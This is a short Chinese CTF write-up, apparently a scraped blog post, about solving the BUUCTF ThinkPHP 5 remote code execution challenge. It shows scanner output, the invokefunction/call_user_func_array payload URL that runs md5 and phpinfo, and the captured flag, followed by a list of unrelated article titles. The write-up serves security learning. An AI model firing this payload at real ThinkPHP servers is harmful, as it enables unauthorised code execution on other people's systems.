当前位置: 首页 > news >正文

BUUCTF-Real-[ThinkPHP]5-Rce

1、ThinkPHP检测工具

https://github.com/anx0ing/thinkphp_scan

漏洞检测


通过漏洞检测,我们发现存在rce漏洞!

2、漏洞利用

----
[!] Name: Thinkphp5 5.0.22/5.1.29 Remote Code Execution VulnerabilityScript: thinkphp5022_5129.pyUrl: http://node5.buuoj.cn:27683/Vulnerable: TrueAttack: TrueMethod: GETPayload: http://node5.buuoj.cn:27683/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=1
----

payload
http://node5.buuoj.cn:27683/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 and it'll execute the phpinfo:
修改payload,我们就可以拿到phpinfo页面,flag就在其中!


至于扫描器,githb有很多!自己下载!

3、get flag


flag{9f4a1a0b-ef58-49ac-8344-63aa3914af75} 

相关文章:

  • TPM 2.0安全算法开发示例实战 | 开发准备
  • 07-使用Package、Crates、Modules管理项目
  • 多维时序 | Matlab实现CNN-RVM卷积神经网络结合相关向量机多变量时间序列预测
  • Spring 事务原理总结三
  • MySQL中如何将字符串替换
  • C# 怎么判断屏幕是第几屏幕?屏幕是垂直还是水平?屏幕的分辨率?
  • 老版本O记12C上线前的一些调整
  • npm ERR! code CERT_HAS_EXPIRED
  • oracle数据回滚导致业务性能问题排查
  • 115.工业相机海康SDK开发指南(阅读)
  • IP数据云识别真实IP与虚假流量案例
  • 第二章 RocketMQ 的安装与启动
  • openGauss学习笔记-212 openGauss 数据库运维-日志参考
  • php工厂模式
  • 网络协议与攻击模拟_11DHCP欺骗防护
  • “Material Design”设计规范在 ComponentOne For WinForm 的全新尝试!
  • 【Under-the-hood-ReactJS-Part0】React源码解读
  • 【跃迁之路】【477天】刻意练习系列236(2018.05.28)
  • css属性的继承、初识值、计算值、当前值、应用值
  • exports和module.exports
  • Hexo+码云+git快速搭建免费的静态Blog
  • Invalidate和postInvalidate的区别
  • JS题目及答案整理
  • nginx 负载服务器优化
  • php中curl和soap方式请求服务超时问题
  • windows下如何用phpstorm同步测试服务器
  • 创建一种深思熟虑的文化
  • 猫头鹰的深夜翻译:JDK9 NotNullOrElse方法
  • 免费小说阅读小程序
  • 问:在指定的JSON数据中(最外层是数组)根据指定条件拿到匹配到的结果
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • zabbix3.2监控linux磁盘IO
  • 阿里云服务器如何修改远程端口?
  • ​linux启动进程的方式
  • ​马来语翻译中文去哪比较好?
  • #快捷键# 大学四年我常用的软件快捷键大全,教你成为电脑高手!!
  • $emit传递多个参数_PPC和MIPS指令集下二进制代码中函数参数个数的识别方法
  • $var=htmlencode(“‘);alert(‘2“); 的个人理解
  • (Matalb分类预测)GA-BP遗传算法优化BP神经网络的多维分类预测
  • (附源码)计算机毕业设计SSM基于java的云顶博客系统
  • (黑马出品_高级篇_01)SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式
  • (南京观海微电子)——COF介绍
  • (七)Java对象在Hibernate持久化层的状态
  • (三) prometheus + grafana + alertmanager 配置Redis监控
  • (推荐)叮当——中文语音对话机器人
  • (转)IIS6 ASP 0251超过响应缓冲区限制错误的解决方法
  • (转)VC++中ondraw在什么时候调用的
  • (转)母版页和相对路径
  • (转载)Linux网络编程入门
  • ***汇编语言 实验16 编写包含多个功能子程序的中断例程
  • ../depcomp: line 571: exec: g++: not found
  • .NET Core WebAPI中使用Log4net 日志级别分类并记录到数据库
  • .Net Memory Profiler的使用举例
  • .NET/C# 使窗口永不获得焦点
  • .NetCore项目nginx发布